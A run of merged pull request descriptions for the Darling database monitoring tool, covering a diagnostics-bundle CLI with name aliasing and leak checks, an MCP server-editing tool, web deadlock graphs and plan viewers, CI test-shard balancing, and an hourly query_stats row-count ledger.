- alerts.js: the first time an Analysis alert's detail is opened, one get_alert_details read with a loading strip, then heading and fields, the advice as a paragraph and code as <pre> with a Copy button; cached per alert so the 60-second refresh never refetches; other alert kinds make no read; an error or empty answer falls back to detail_text. The expansion stays lazy, as #4194 made it.
- Tests: AlertHistoryAdviceLiveTests (advice and script returned, unknown key empty, missing parameter refused, no Remediation, the history read unchanged) and AlertHistoryAdviceTests (Node harness: one read on first expand and none after, other rows none, the fallback, hostile text rendered as text).

* Add a --diagnostics-bundle verb that writes one aliased, attachable diagnostics file (#5097) (#5218)

Adds `--diagnostics-bundle <path>` (short form `--diag-bundle`), a read-only CLI verb that writes one aliased JSON file for a user to attach to a bug report. It changes no schema, writes nothing to the store, and adds no MCP tool and no web change.

**Usage:** `--diagnostics-bundle <path> [--hours N] [--server <name>] [--log-dir <dir>] [--config <path>] [--alias-map <path>] [--include-log-text] [--force]`.

**Exit codes:**
- 0: written.
- 1: bad arguments, config or connection string.
- 2: store unreachable; a reduced bundle is written.
- 3: written with a failed section.
- 4: output unusable or over the size cap.
- 5: a known name or secret survived, or a store name source could not be read. Nothing is written.

**Sections.** The bundle holds these sections, each read through the same MCP reader the tools use:
- the manifest and config shape;
- the store;
- collection health, the fleet overview, the slowest runs and collector cost;
- stall probes, slow reads and read latency;
- store statements, including the V163 statement history, behind `to_regclass`;
- the store log and the service log.

**Format.** The file is one UTF-8 JSON file of at most 4 MiB, with per-section byte budgets. It is written to a random temp name in the target directory and moved into place only after the verifier passes.

**Aliasing.**
- **What gets aliased.** Server, host, database, login and domain names and IP addresses become ordinal aliases (`server-1`, `db-3`, `ip-1`), never hashes. `server_id` becomes `server_alias`.
- **Where the names come from.**
  - the registry and the collected `servers` table (including removed servers);
  - darling.json, including the notification hosts and domains;
  - the store connection string, `pg_roles` and `pg_database`;
  - the local machine, user-domain and DNS names, and the Windows service account;
  - a bounded 24-hour inventory of database names;
  - a harvest of identifier-keyed fields.
- **Where the alias pass reaches.** It rewrites string values, and any key that is itself a known name. It handles:
  - protocol prefixes (`tcp:`, `np:`);
  - quoted `DOMAIN\login` pairs;
  - IPv4-mapped IPv6;
  - names under a known domain.
- **Order.** Text is aliased before it is cut.
- **The verifier.** It then scans the final bytes and the unescaped text for every known name and secret, and exits 5 if any survives.
- **Store down.** The service log is written as counts only, unless `--include-log-text` is passed. The unreachable-store section carries only fixed codes.
- **The alias map** is opt-in, written to a separate file marked DO NOT ATTACH, and never put in the bundle.
- **Fail closed.** While the store is up, a failed read of any name source (the registry, `servers`, `pg_roles`, `pg_database`, the database inventories) writes nothing. An `--alias-map` path with a part that exists but cannot be inspected is refused.

**Secrets.** The slow-read log's key and value checks move into a shared `SecretTextGuard`, with unchanged behaviour. darling.json is never serialized: the bundle holds an allow-list projection.

**Template.** `bug_report.yml` gets an optional diagnostics-bundle field, and `Darling/README.md` gets a section.

**Tests.** Thirteen new Darling.Tests classes, including:
- `DiagnosticsBundleLeakLiveTests`, which seeds synthetic names into every source and asserts that none survives in the bytes, case-folded or JSON-unescaped;
- the seed-failure, uncut-health and round-two hardening classes.

**Known limits:**
- names and secrets of under four characters are boundary-replaced but not substring-verified;
- base64, URL-encoded and nested-escape forms are not decoded;
- text already cut when it was stored cannot be repaired.

Part of #5097

* Stall probe: an idle wait (sp_server_diagnostics, the availability-group health check) no longer ranks as the top user-task wait (#5267) (#5276)

The collector stall probe no longer ranks an idle wait as the top user-task wait. On an availability-group server, the probe added in #5113 ranked `SP_SERVER_DIAGNOSTICS_SLEEP` first. That is the idle wait of the `sp_server_diagnostics` health check, which runs on an ordinary (`is_user_process = 1`) connection, so the probe pointed at the health check instead of at what the collector was waiting behind.

**What changed.**
- **Ranking.** It now leaves out every wait type in the shared ignored-wait list (`IgnoredWaitDefaults.All`), as well as background sessions. The list is rendered into the query once, as a per-task `is_idle` flag that both the totals and the ranking read.
- **Tail.** The summary tail counts what was left out: `excluded from ranking: background N tasks/M types; idle K tasks/J types; ours: …`. It is still reserved before the 512-character cap.
- **No top wait.** When only idle and background waits remain, there is no top wait.
- **Unchanged:** `waiting_task_count` still counts every waiting task. The collector's OWN session wait is still named in the "ours" part of the tail, even when it is an idle-listed type.
- **Fault isolation.** The query text is built on first use, so a malformed list entry fails only the probe (recorded as a failed probe query), never the policy class every collection run consults.
- **Tool guide.** The `get_collector_stall_probes` guide text says that idle waits are not ranked, and that a tail without the idle counts comes from a build that still ranked them. The tools/list text is unchanged.

**Tests.**
- **Live, against SQL Server:** a real `sp_server_diagnostics` session plus a lock wait. The lock wait ranks first and the idle wait is counted in the tail. The total covers the background, idle and ranked buckets.
- **Darling unit pins:**
  - every ignored-wait name is a plain upper-case identifier;
  - the rendered query carries exactly the list;
  - the policy loads independently of the query text.
- **Lite policy tests:** the query shape, the tail and a null top.

Fixes #5267

* MCP: edit_server changes a monitored server's settings in place, keeping its id, tags and history (#5240) (#5283)

A new MCP tool, `edit_server(server_name, changes_json)`, changes one monitored server's settings in place. Until now, the only way to change a server's settings was to remove it and add it again, which lost its settings and its tags.

**Identity is kept.** The row keeps its `server_id`, so tags, collected history and every per-id setting stay attached, even when the address changes. The tool resolves `server_name` with `remove_server`'s rule. The core, `EditServerCoreAsync`, is separate from the tool, so the web route can call the same code.

**Editable:** `display_name`, `host`, `port` (PostgreSQL), `database`, `read_only_intent`, `auth`, `username`, `password`, `encrypt_mode`, `trust_server_certificate`, `multi_subnet_failover` and `monthly_cost_usd`, plus an optional `expected_modified_at`.

**Never written:** `server_id`, `engine`, `is_enabled`, `excluded_databases`, `capture_plans`, `alert_delivery_mode_override`, `plan_force_bot_enabled` and the `remediation_*` columns. A request naming any of them is refused, and nothing is read or written.

**Credentials.**
- The stored secret cannot be read back. So a change to how a SQL-login or service-principal server is reached requires the password again, and the connection is tested before anything is saved.
- Name and cost edits, and Windows or managed-identity servers, need no password.
- Secret validation is shared with `add_servers`, whose behaviour is unchanged. It refuses a literal secret off Windows, and a reference to the service's own configuration or secrets.
- No answer, error or log line carries a secret. The audit line names the changed fields only.

**Concurrency.** The edit reads the row, tests the connection, then in one transaction locks the row, re-checks `modified_at` (the optimistic token, an opaque round-trip string) and re-checks that the new address is not another server's. Then it issues one column-listed UPDATE. A stale token or a concurrent change answers `conflict`, with the current non-secret values.

**Answers.** `updated` (with the changed fields, whether the service will reconnect, and the new token), `unchanged`, `invalid`, `not_found`, `ambiguous`, `conflict`, `collides` or `connection_failed`.

**Also fixed.** The service's server-definition comparison now includes the port and the engine, so a port-only change reconnects.

**Budget.** It adds one tool, a tools/list increase of about 1 KB. The ceiling is raised to the measured value.

**Tests.**
- Core unit tests.
- Live tests as the MCP role, with the product's own grants: name, cost and address edits; tags kept; config-version bumps; a stale token; occupancy; the credential column still unreadable.
- A live SQL Server connection test: a correct and a wrong secret.

Part of #5240

* Darling web: draw the deadlock graph in the Blocking tab's Deadlock Graphs grid (#5246) (#5275)

The Darling web's Blocking tab draws each deadlock as a graph (#5246). Each Deadlock Graphs row has a Graph cell; opening it draws an SVG with one card per process (SPID, procedure, contended object, lock mode and wait, the victim marked), curved waits-for arrows labelled with the resource and lock mode, and dashed frames when there is more than one cycle. A click or Enter on a card shows that process's properties and statement as text; the first victim is selected on open.

The service builds the shape with the shared DeadlockGraphParser and DeadlockGraphLayout from PerformanceMonitor.Common, the code the desktop viewers use, so positions, edges and cycle frames match the desktop. The shape is added only in the page's read of get_deadlock_detail (DarlingWebDeadlockGraph.AddGraphs); nothing that serves an MCP client calls that handler, so the MCP tool's payload, budget and Lite parity are unchanged. The browser never parses XML, and every string reaches the page through text nodes. A statement equal to the process row's preview is not repeated; a row whose XML fails to parse or lay out gets no graph and the rest of the read is unaffected; a deadlock of more than 60 processes shows a count instead. The Graph column stays out of sorting, the column filter, CSV and Copy, and the Custom Views column picker now offers scalar fields only.

Tests: the shape against Parse plus Layout on four fixtures (victims, the parallel self-edge, the desktop's cycle-frame rule, malformed, truncated, oversized and envelope pass-through, every other key unchanged), a Node harness over the shipped module (lazy draw, labels, selection, hostile text, multiple cycles, the self-loop, open state across a rebuild), and pins that no MCP-serving path reaches the graph-adding row.

Fixes #5246

* Bump the nuget-patch-and-minor group with 1 update (#5219)

Bump the nuget-patch-and-minor group with 1 update

Updated [BlackwellSystems.Gcf](https://github.com/blackwell-systems/gcf-dotnet) from 1.0.0 to 1.1.0.

<details>
<summary>Release notes</summary>

_Sourced from [BlackwellSystems.Gcf's releases](https://github.com/blackwell-systems/gcf-dotnet/releases)._

## 1.1.0

Implements GCF spec v3.6.0: constant-column factoring (SPEC 7.4.7, mandatory in the default encode path) and value-grouping (SPEC 7.4.8, opt-in `EncodeGenericGrouped(data, keyField, groupField)`). Decode support for both is mandatory.

A column holding the same scalar in every record of a top-level tabular array is written once in the header as `name=value` and dropped from the rows; value-grouping clusters a keyed set by one low-cardinality column (`@`-marked unique key, `group=<col>` header clause, per-group `<col>=<value> [count]` subheaders).

Byte-identical to the Go reference. Conformance 323/323; per-SDK fuzz verified to 1,000,000 iterations; cross-SDK differential-fuzz green. See CHANGELOG for details.


**Full Changelog**: https://github.com/blackwell-systems/gcf-dotnet/compare/v1.0.0...v1.1.0

Commits viewable in [compare view](https://github.com/blackwell-systems/gcf-dotnet/compare/v1.0.0...v1.1.0).
</details>

[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=BlackwellSystems.Gcf&package-manager=nuget&previous-version=1.0.0&new-version=1.1.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency
- `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
- `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
- `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
- `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency
- `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions


</details>

* Add plan buttons to the web's Active Queries, Query Store and Top Procedures grids (#5228) (#5260)

The web's Active Queries, Query Store and Top Procedures grids get a Plan column, and Active Queries also gets a Live plan column. Clicking a row's Plan button opens the plan viewer on that row's stored plan. When no plan was stored for the row, the panel says so.

- The plan is read on click, not shipped with the grid rows. Every web read is an MCP tool, so the buttons call three new read tools, one per key shape. get_active_query_plan_xml takes collection_time, session_id and an optional request_id, and live=true returns the live plan. get_query_store_plan_xml takes database_name, query_id and an optional plan_id. get_procedure_plan_xml takes sql_handle. Each answers unavailable when nothing matches.
- get_query_store_plan_xml resolves the plan the way analyze_query_store_plan does: through the plan map, then the inline query_plan_text column for rows written before the plan dimension.
- The web route refuses a missing or unparseable key. It also refuses a collection_time that is not an ISO 8601 round-trip form, so a bare date is refused. It refuses a sql_handle that is not 0x plus hex, and a live that is not true or false. collection_time round-trips at microsecond precision. get_procedure_plan_xml refuses a non-hex handle too. analyze_procedure_plan still takes the text as given.
- get_active_queries rows now carry request_id, plus has_query_plan and has_live_query_plan. The flags are left out of a row when false, and a null request_id is left out too. None is ever written as null.
- Plan columns are not sortable, filterable, exportable or copyable, because an open panel's XML is the cell's text. That covers the three new columns. It also covers the existing Plan column on Top Queries, High Impact and Expensive Queries. That column gains the filter and copy exclusions and was already out of sorting and CSV.
- tools/list: the three tools add 1,885 bytes and edit_server (already on dev) adds 1,052. Measured on the merged tree, the total is 191,056 bytes for 177 tools, up from 188,119 bytes for 173. The tool-count sentences in the server instructions, README.md and llms.txt say 177 (89 unique to Darling).
- Tests: a live RowPlanReadLivePostgresTests, a WrapPlanXml identity test, dispatch binding refusals, plan-viewer harness scenarios, and updated cancellation and timestamp-parse pins. The tools/list ceiling is set to the measured value.

Fixes #5228
Part of #5236

* MCP: stop calling a cut window quiet on eight more PostgreSQL empty answers; mirror Lite's plan-corrections list-only notice (#5285)

Eight PostgreSQL MCP empty answers said "healthy", "expected" or "genuine all-clear" even when `hints.window_truncated` was true. Over a cut window they now keep the factual first part and then say where the store's data starts, or that nothing was read. Covered windows read exactly as before.

The eight sites are `get_pg_lock_stats`, `get_pg_server_config_changes`, `get_pg_wait_sampling`, `get_pg_replication_stats`, `get_pg_xmin_horizon` (the `finding` of `no_holder`), `get_pg_database_stats`, `get_pg_session_states` and the index-usage empty branch. That branch is kept for later and is unreachable today. Sites that claim nothing, are filtered, or carry no notice are unchanged.

Lite's `get_plan_corrections` now probes the store. When the recommendation list is empty beside an automatic-tuning snapshot and the store holds nothing in the window, it says "no windowed rows were read". The wording is byte-identical to Darling's `listOnly` branch, and `RawWindowFloorQuietStartTests` pins that.

`get_pg_deadlocks` passes its defined `windowStart` to the reader. The value is the same as before.

The window-notice tests in both products are extended: Darling's PostgreSQL window classes, `RawWindowFloorQuietStartTests`, and Lite's `McpWindowNoticeToolTests` and `McpWindowNoticeConfigAndLogToolTests`. Test lows from the previous round are fixed too. The idle-grid covered tests assert the idle claim, the cut-claim tests assert the literal variant, and one helper is renamed.

Part of #4966

* Web Job History: say when SQL Agent is stopped (#5242) (#5278)

The service collects each server's SQL Agent state into agent_status, and the Agent Not Running alert reads it, but no MCP or web read did, so the web Job History page showed a quiet server and a stopped Agent the same way.

- get_job_history carries the Agent state. Each enabled server's row is its newest agent_status row at or before the window's end (the as_of, or now), one indexed lookup each. One server gets agent_running, agent_status_desc, next_run (server-local, converted to UTC) and captured_at. The fleet gets agents_total, agents_running and agents_not_running (stopped or unknown only). An empty answer carries the same fields in its hints. The rest of the answer is unchanged.
- A snapshot older than the alert settings' live collection_stale_minutes at the window's end reads unknown. The window is clamped 5-1440 (30 if absent), the Agent Not Running alert's own window and comparison. A named server with no snapshot at or before the window's end reads unknown too, and the fleet counts leave it out. A fresh snapshot with no Agent service row (Express, Agent-less containers) reads "no SQL Agent service found" and is not counted as stopped.
- The Agent read is best-effort: if it fails, the runs are still served without the Agent fields.
- job-history.js: a status line under the head (stopped in red, no service, running, unknown, and "Agent running on n of m servers" naming the stopped ones). The page harness copies every module under js/ and js/pages/.
- Tests: DarlingMcpJobHistoryToolTests and JobHistoryPageTests. The surface and live cases cover stopped, running, stale and no snapshot, plus the live setting at 60 min. They also cover no service, next_run conversion, a failed read, fleet counts and empty hints. Three new live cases cover as_of between a stopped and a running snapshot (a named server, then the fleet) and as_of before every snapshot. The older cases are seeded off their fixed as_of.

Fixes #5242

* procedure_stats: wire the deferred plan fetch, with a shadow mode that measures the identity before it is trusted (#5158) (#5272)

procedure_stats can skip re-rendering module plans the store already holds, behind a new darling.json setting, `procedureStatsDeferredPlanFetch`. It takes `off`, `shadow` or `on`, and defaults to `off`. On one production store, about 94% of the procedure_stats plan XML bytes rendered were repeats: 25 GB an hour rendered against 1.4 GB distinct.

**Identity.** A module plan can change in place when one statement recompiles, with the same plan handle and cached time. So the cache key is the server, the database, the plan handle, `cached_time` and a fingerprint of the module's statements from `sys.dm_exec_query_stats`: the count, the latest compile time and the summed plan generation. A count of zero is never cached.

**Modes.**
- `off`: today's inline capture.
- `shadow`: renders inline exactly as `off` and writes identical rows. It also checks each plan's identity against what this host has committed, and counts the would-be hits and the false hits, so the identity can be measured before it is trusted.
- `on`: sends the stored digest for a recognized plan and renders only the misses, in a second query on the same connection. At most 150 are rendered per run. An entry older than four capture cycles is rendered again.
- **In every mode:** the existing cadence gate still decides which runs may render. A recognized over-cap plan keeps its size and its oversized-plan sightings. Azure SQL Database stays `off`. The setting takes effect on restart.

**Counters.** Each run's collection-log note carries `plans_rendered`, `plans_rendered_bytes` and `deferred_miss`, plus `deferred_would_hit` and `deferred_false_hit` in shadow, and `deferred_hit` and `deferred_over_cap` in on. A false hit logs a warning naming only the plan handle, the cached time and the fingerprint values.

**Shared code.** The run's mode is resolved once, when the run is stamped, and read back everywhere else. It reuses the query_stats plan cache (`PlanDigestCache<TKey>`, with an optional rendered-run ordinal for the age limit) and its `StampPlanFetch` measurements.

**Scope.** No migration, no store schema change, no MCP tool and no web change.

**Tests.**
- Unit tests: key sensitivity, the age limit, zero-count, the gate composition, the cap, over-cap, shadow false hits, knob parsing, Azure off, and mode resolution under changing settings.
- Live tests against SQL Server and PostgreSQL: reuse, a statement recompile in place forcing a re-render, the shadow counters, and shadow storing every column exactly as `off` does.

Part of #5158

* get_collection_health and the web PG Overview list collectors that are not collected on the server's engine (#5249) (#5287)

`get_collection_health` and the web PostgreSQL Overview now list each PostgreSQL collector that the server's engine kind can never run, instead of leaving it out. A PostgreSQL user could not tell a collector that failed to run from one that is not collected on the engine at all, because a gated collector writes no log row. Examples are an Aurora-only collector on stock PostgreSQL, and the sampler on Aurora.

**What changed.**
- **New rows.** For a PostgreSQL server, the tool appends one row per catalog PostgreSQL collector that `CollectorEngineCapability` reports as not collected on this engine kind and that has no log row. Each row is `collector`, `status: "not_collected"` and `message` (the standard sentence). The rows come after the log rows, ordered by collector name.
- **Output only.** They never reach the memoized rows, sweep pressure, alert read health, counts, bands, the analysis caveats or `stored_caveats`. SQL Server servers are unchanged. A PostgreSQL server with no log rows still answers `unavailable`.
- **One helper, one call.** The logic lives in one helper called from one line in the shared health read. So the diagnostics bundle's collection-health section carries these rows too, with the server name in the message aliased like any other.
- **Page.** The PG Overview's Collectors panel shows the new status in a neutral style, with a "Why not collected" column. The generic read catalog gains the `message` field, for custom views.

**Budget.** No tool description or parameter changed. The response grows by at most about 1.1 KB (two rows on stock PostgreSQL).

**Not covered** (a follow-up): collectors skipped by PostgreSQL version (`pg_io_stats` below 16, `pg_write_stats` below 14) and by recovery state still show no row.

**Tests.**
- Unit tests of the helper.
- Live tests through the real tool against a scratch store.
- The roll-up identity checks.
- The order.
- A page harness.
- A diagnostics-bundle leak test proving a gated row's server name is aliased.

Fixes #5249

* lane-orders: the PostgreSQL rig recipe also creates the darling database, as CI does (#5292)

Step 5 of the rig recipe created the suite and probe databases but not `darling`. CI's init step creates it, and the role-provisioning live tests grant CONNECT on it. Without it, five server and viewer live classes failed with 3D000 on a rig built from the recipe. The step now runs the same createdb call as CI. Docs only: no product code or test changed.

* Web charts: show the queries, blocking or deadlocks at the clicked time (#5230) (#5286)

The web viewer's server-tab line charts had no way to jump from a point on a chart to what was running then. The desktop's Performance Trends charts do this from a right-click. Now a right-click on the plot of a server-tab line chart offers the one "at This Time" item that matches the chart. The item sets a one-hour custom range around the nearest drawn point. It then opens the matching tab, scrolled to its grid, and the range picker shows the new range.

- Each chart gets one item, as on the desktop. Blocking Events, Lock Waits and Blocking Severity get Show Blocking at This Time. Deadlocks and Deadlock Severity get Show Deadlocks at This Time. Every other server-tab line chart gets Show Active Queries at This Time.
- The range is 30 minutes either side of the drawn point nearest the click, which is the point the hover tooltip names. That makes one hour, the shortest range the picker allows.
- A range cannot end in the future, so a click in the last half hour moves the hour back to end now. The hour still includes the clicked time. A range the page refuses is shown on the chart, and the tab stays.
- The items appear only on a right-click on the plot, not on the legend, the status line, the chart menu button or Shift+F10.
- Show Deadlocks at This Time scrolls the Deadlocks grid into view after the tab opens, as the desktop opens its Deadlocks sub-tab. Show Blocking and Show Active Queries scroll to their own grids.
- The PostgreSQL Aurora CPU chart has no item, because the PostgreSQL page has no Queries or Blocking tab.
- Tests: WebChartAtTimeBehaviourTests (Darling), plus BaselineDiscontinuityRenderCensusTests (Lite), which scans server-tabs.js.

Fixes #5230

* Balance the Lite test shards by recorded test time instead of class-name hash (part of #5208) (#5280)

The four Lite test shards used to be assigned by class-name hash. That balances the class count, not the time. On one measured run the shards held 12.8, 48.1, 36.6 and 25.3 minutes of test time. The slowest held about 1.6 times the mean. A shard that hits the 30-minute cap turns the run red without naming a failing test.

The duration-aware shard packer is now wired into build.yml. Its plan evens out the recorded test time across the four shards. Recorded test time leaves out class-fixture setup and host start-up. So the shards' wall times will not come out exactly equal.

How it works. The gate job picks one timing source per run. It is the newest successful push run on dev, out of the 30 newest successful dev runs. Its lite-tests-timing artifacts must all have more than two days of retention left. The gate pins that run and its exact artifact set.

The gate picks once because the shards start minutes apart. A per-shard lookup can hand two shards different timings. A class is then dropped or doubled.

In the full cut, every Lite shard downloads that run's timings and fails if what it got is not exactly the pinned set. It packs classes longest-first into the least-loaded shard. The packer's reconcile check then fails the shard unless every discovered class is in exactly one shard.

Missing data. A class with no timing gets the mean weight of the known classes, so it is placed and never dropped. A test whose time is missing, unparsable, NaN, infinite or negative has no timing. A class that took zero seconds weighs a small floor, so no shard is left empty.

Fallbacks. With no source, the cut is the old class-name hash. The packer also falls back to the hash in three cases. None of the timings can be read, they add up to zero, or they cover under 80% of the classes.

A shard that cannot download the pinned timings, or whose download is not the pinned artifact set, fails instead of cutting alone. The shard count comes from the matrix (strategy.job-total), and a leg fails when the matrix is no longer the single shard axis. The -class chunking, the Darling-only rule, the 30-minute cap and the Lite tests (result) job are unchanged.

Restated invariant. The cancel-in-progress comment used to say nothing downloads cross-run artifacts. It now says exactly one thing does: the Lite shard packer, from successful dev push runs only. A cancelled run is never read. So cancelling costs shard balance, never a test class or a verdict.

What the pins pin. Two tests in CrossAppGuardCiGateTests pin the workflow text, and neither runs the packer. One pins the gate step: successful dev push runs only, every timing artifact unexpired, and the exact artifact names as a job output. It also pins each shard's side. That covers the three-try download into a clean folder and the matrix checks. It also covers the failures on a different artifact set, a failed pack and a failed reconcile.

The other test counts non-comment workflow lines. It allows one gh run download across all workflows, in the Lite shard step. It allows no run-id input or workflow_run trigger in any workflow, and no download-artifact in build.yml.

What the self-test proves. The Shard packer self-test step in shard 0 runs lite-shard-pack.py --self-test (53 assertions) and proves four things. Every class lands in exactly one shard for 1, 2, 3, 4 and 7 shards. The plan does not depend on input order. Missing, drifted and all-zero timings fall back to the hash. Reconcile fails when a class is withheld, doubled or invented.

Plan id. Each leg logs a plan id to read side by side. Nothing compares the ids. The pinned artifact set is what keeps the legs on the same inputs.

Part of #5208

* Darling store: an hourly row-count ledger for query_stats (V164) (part of #4605) (#5289)

Migration V164 adds two plain collect tables for the hourly-edges count guard.

collect.query_stats_hour_ledger holds one row per hour and server with the count of non-restart query_stats rows. collect.query_stats_hour_ledger_state holds one row, counted_since, which the rung sets to the next whole hour. Hours before it are uncounted, so a reader stays on raw for them.

QueryStatsHourLedger holds the DDL the rung embeds, UpsertSql and RecountSql. UpsertSql adds a batch's count to its hour, and a count of 0 or less writes nothing. RecountSql sets a range of whole hours from raw. It counts the rollup's population, skips restart rows, counts NULL intervals, and keeps the name spelling raw holds. The primary key leads with the hour, so a read of a range of hours and the retention prune are index range scans.

The viewer's schema probe gains the V164 arm. The compose roles read the tables through the collect schema's existing SELECT grants and default privileges, so no grant changes. A live test proves the viewer's provisioned grants read both tables and write neither.

The collector now writes the ledger, a census pin guards that one writer, and the retention sweep prunes the ledger. Nothing reads it yet: the guard read follows in a second PR.

DarlingCollectorRunner.CopyBatchOnceAsync adds each query_stats batch's count to its hour. The count is the rows written with a sample_interval_seconds other than 0, and a NULL counts. The upsert runs on the COPY's own transaction, after the COPY and the dimension flush and before the commit. A batch counts as a query_stats batch by the table its COPY writes, not by the collector's type. So a one-off definition aimed at that table is counted too, or its batch fails.

The count is the row writer's tally of the integer it sends into that column. It is taken at the write and never re-derived. The tally watches only a row's payload, so the prefix the runner writes before the payload opens is never counted. The writer is built for each attempt, so a re-attempt starts from zero. A batch carries one collection_time, so it is one hour and one upsert, keyed on the storage name the COPY writes. A count of 0 skips the upsert.

A fault in the upsert has no savepoint. The transaction rolls back and the batch's rows are not stored, so raw and the ledger commit together or not at all. Live tests drive the product's own write path. They prove the counts, the restart rows, a failed upsert and a failed COPY. They also prove the tally on a real binary COPY, in the runner's order: each row's prefix first, on a fresh writer. Source pins hold where the upsert sits.

The census pin QueryStatsWriterCensusPins fails on a literal write to collect.query_stats, or a new COPY start, in the C# sources the service compiles. It reads the non-test sources of every Darling project and every project they reference. That covers the six root libraries built into the same service. It scans them for DML on the table and requires every COPY start to be on a register. The register holds the runner's site and four RDS ingestors, each copying a fixed definition into a named table. It also checks that no migration rung above V164 runs DML on the table.

The failure message says why: the ledger counts rows at that one write. The pin is a text scan. It cannot see SQL built at run time outside a COPY. It cannot see a writer inside the database either, such as a trigger, a rule or a scheduled job.

The retention sweep deletes ledger buckets below the successor hourly rollup's retention horizon, 90 days, with one plain DELETE. That horizon is the rollup's, not raw's four days. The prune keeps 90 days, and no read reaches past that horizon. The router sends a window to the hourly rollup only up to 89 days back, the 90 day span less a day's margin.

The ledger does not promise every hour the rollup holds. The rollup drops whole chunks, and its drop is gated on the daily rollup covering them, so it can keep hours older than 90 days. A live retention test removes a bucket outside the horizon and keeps one inside it.

Part of #4605

* Custom Views: the query_stats count guard reads the hour ledger (part of #4605) (#5290)

The hourly-edges count guard now reads the hour ledger instead of counting every raw row of the window.

IntervalRollupCountGuard.QueryStatsSql compares collect.query_stats_hour_ledger with the hourly rollup's sum(sample_count) for each server and hour, and returns the number of pairs that differ. It no longer reads raw rows. The ledger half reads one row per server and hour. The rollup half still sums the window's rollup rows, which the panel reads next. How long that takes on a large store is measured after deployment, by the acceptance read of #4605.

The comparison sits in the branch taken only when collect.query_stats_hour_ledger_state.counted_since is at or before the window start. Otherwise the guard returns -1 (IntervalRollupCountGuard.UncoveredResult) without running the comparison, and a missing state row gives -1 too.

The class doc states what a pass proves. The ledger is written in the collector's COPY transaction, so one REPEATABLE READ snapshot sees the ledger, raw and the rollup after the same commits. A drift the ledger saw makes the counts differ and fails safe. The writer census pin sees this build's code only, so it cannot see an older service that still writes raw rows into a V164 store. The guard catches those rows wherever the rollup holds them. It misses them in one known case: an hour the rollup never materialized whose raw rows all came from an older service.

DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync handles -1 after the statement timeout is put back and before the pass test. It notes the new ReadFallback.LedgerUncovered with no log line and returns no verdict, so the panel reads raw on the same transaction. A store before V164 has no ledger table. The runner reads the store's schema version after its savepoint and before the guard runs (QueryStatsHourLedger.RungVersion names the 164). Below it, the runner notes GateFailed with no log line and the guard does not run. Every guard fault warns once, including a missing ledger table on a store at V164 or later.

ReadScope ranks its reasons GateFailed, then FallbackRaw, then LedgerUncovered, in both Note and NoteFallback. LedgerUncovered resolves to the fallback_raw outcome, so these reads show in the fallbacks column of get_read_latency and never in gate_failures. The tool's description now names them.

IntervalRollupCountGuardLiveTests is rewritten for the ledger. It plays the writer with RecountSql. It then checks a match, a pair the rollup lacks, a ledger row nothing else has, and a pair the ledger lacks. It also checks restart rows, the inclusive start and the exclusive end, a window before counted_since, and a missing state row.

A new live class runs the runner in a REPEATABLE READ READ ONLY transaction on a scratch store. An uncovered window gives no verdict, LedgerUncovered, no log line, and a usable transaction with the statement timeout put back. A store with its schema version below V164 and both ledger tables dropped gives no verdict, GateFailed, no log line, and a usable transaction. A store at V164 or later with the ledger table renamed gives no verdict, GateFailed, one Warning, and a usable transaction.

The two hourly-edges route live classes seed the ledger with QueryStatsLedgerSeed right before each panel run. The V164 rung sets counted_since to the next wall-clock hour and their fixed anchor is in the past. A row planted after the refresh now leaves the ledger ahead of the rollup, as the writer leaves it, so the guard refuses it. Unit pins cover the guard text (it reads the ledger and has no scan of raw) and the order of the runner's steps. They also cover the schema-version check ahead of the guard and the ReadScope ranking, mapping and logging.

Part of #4605

* Diagnostics bundle: the store statement history is now the ranked answer get_store_query_history gives (#5097) (#5294)

The bundle's store_statements section read both statement-history tables itself. Its history member is now the answer get_store_query_history gives for the bundle's --hours. That is the 25 costliest rows, one per role and statement. Each row carries its totals, the recent-against-earlier mean, block counts and aliased text, and the member also carries a capture summary. A failed history or cumulative read marks the section error in the manifest, and the verb exits as a partial bundle.

The text reads of get_store_query_history and get_store_query_stats also apply the shared sensitive-statement filter as a second layer, for stores whose reader function predates it. A statement the filter withholds reads as the withheld marker, in both tools and in the bundle.

Closes #5097

* CI: retry the Lite timing-source lookup when the API returns a stale page (#5297)

The gate's "Pin the Lite timing source" step lists the newest successful dev runs once. That call sometimes returns a stale page of weeks-old runs with expired artifacts. The step then pins nothing. Every Lite shard cuts the suite by class-name hash, although a run that qualifies exists.

The step now tries the listing up to 3 times, 5 seconds apart. It accepts a page only when a push run on it finished in the last 5 days, judged on the run's updated_at. A run that finished earlier cannot qualify. Its timing artifacts expire 7 days after upload, the upload comes before the run finishes, and the gate wants 2 days of margin.

The page is judged on when runs finished, not when they were created. A run created more than 5 days ago and re-run since still has fresh timings. A failed call counts as a try. If no try gets a current page, the step falls back to the hash.

The fallback notice says what the tries saw. If every call failed, it says so. If no try got a current page (stale, empty or push-less pages, with failed calls among them), it gives the counts. A current page where no run qualifies keeps the old notice.

The per-run artifact test, the outputs, continue-on-error and the permissions are unchanged. CrossAppGuardCiGateTests gets a pin for the retry and the freshness test on updated_at. It also pins a failed call that keeps retrying, the notices, and the tie between the 5-day bar, the artifacts' retention-days and the 2-day margin. The pin matches words, so a re-indent or a comment does not fail it.

Part of #5208

* Web test harnesses copy the whole js tree instead of hand-kept module lists (#5302)

